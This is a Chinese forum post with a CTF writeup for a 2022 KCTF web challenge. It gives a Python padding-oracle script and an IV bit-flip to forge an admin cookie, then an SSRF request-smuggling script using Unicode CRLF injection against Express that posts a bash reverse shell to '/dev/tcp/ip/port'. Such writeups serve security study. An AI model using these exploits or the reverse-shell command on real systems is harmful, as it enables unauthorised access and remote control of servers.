首页
社区
课程
招聘
[原创] 2022 KCTF 第五题 灾荒蔓延 98k Writeup
2022-11-25 16:03 8052

[原创] 2022 KCTF 第五题 灾荒蔓延 98k Writeup

2022-11-25 16:03
8052

第五题 灾荒蔓延

访问主页会给一个 isadmin 的 cookie, 带上此 cookie 直接访问 /admin, 发现提示不是 admin.
对 cookie 最后一位修改后提示 decrypt error, 再结合 unhexlify 后长度 32, 可以猜出是分块加密.
然后修改第一位, 提示 json parse error, 那么可以得知大概率是 CBC 模式 + PKCS7 Padding.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import binascii
 
import requests
 
# https://github.com/mwielgoszewski/python-paddingoracle
from paddingoracle import PaddingOracle, BadPaddingException
 
 
class PadBuster(PaddingOracle):
    def __init__(self, session: requests.Session, wait: float = 0.1, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = session
        self.wait = wait
 
    def oracle(self, data, **kwargs):
        token = binascii.hexlify(data).decode()
 
        resp = None
        while True:
            try:
                resp = self.session.get('http://150.158.18.137:5329/admin', cookies={
                    'isadmin': token
                })
                break
            except requests.HTTPError:
                # time.sleep(self.wait)
                continue
 
        self.history.append(resp)
 
        if 'Decrypt error' not in resp.text:
            return
        else:
            raise BadPaddingException
 
 
sess = requests.session()
pad_buster = PadBuster(sess)
 
ct = binascii.unhexlify('b60bdcada90e7c628b68d0ed965363858dc1695757156638e9b86ac59c99e7c2')
print(len(ct))
print(ct)
 
# admin_token = pad_buster.decrypt(ct[16:], block_size=16, iv=ct[:16])
# print(admin_token)
# b'{"admin":"0"}\x03\x03\x03'
 
iv = bytearray(ct[:16])
iv[10] = iv[10] ^ ord('0') ^ ord('1')
 
print(binascii.hexlify(bytes(iv) + ct[16:]))

通过 padding oracle 可以解出是 {"admin":"0"}\x03\x03\x03, 那么直接构造 iv 使得 CBC 解密出来 admin 为 1 即可.
使用构造的 cookie 访问 /admin, 提示 post cmd 到 /C00mmmmanD. 但是此时即使带上 isadmin cookie 访问 /C00mmmmanD 却还提示不是 admin, 那么大概率要结合一开始的 /search 的接口来 SSRF.
但是 search 只能发送 GET 请求, 由 Http banner 可以得知服务器是 express, 搜索 node 的 CRLF, 可以搜到 https://xz.aliyun.com/t/2894
直接用同样的方法测试可以利用, 那么直接构造请求 POST /C00mmmmanD 即可.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
sess = requests.session()
 
CRLF = 'č̊'
BLANK = '̠'
 
r = f'''1 HTTP/1.1
Cookie: isadmin=b60bdcada90e7c628b68d1ed965363858dc1695757156638e9b86ac59c99e7c2
Connection: keep-alive
Host: 127.0.0.1
 
POST /C00mmmmanD HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.86.0
Accept: */*
Connection: close
Cookie: isadmin=b60bdcada90e7c628b68d1ed965363858dc1695757156638e9b86ac59c99e7c2
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
 
cmd=bash -c "bash -i >%2526 /dev/tcp/ip/port 0>%25261"
 
'''.replace('\n', CRLF).replace(' ', BLANK)
 
# 记得修改 Content-Length
print(r)
r = sess.get('http://150.158.18.137:5329/search?url=http://127.0.0.1:5329/C00mmmmanD?a=' + r)
 
print(r.text)

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞2
打赏
分享
最新回复 (1)
雪    币: 5568
活跃值: (2996)
能力值: ( LV12,RANK:394 )
在线值:
发帖
回帖
粉丝
htg 4 2022-11-28 21:10
2
0
游客
登录 | 注册 方可回帖
返回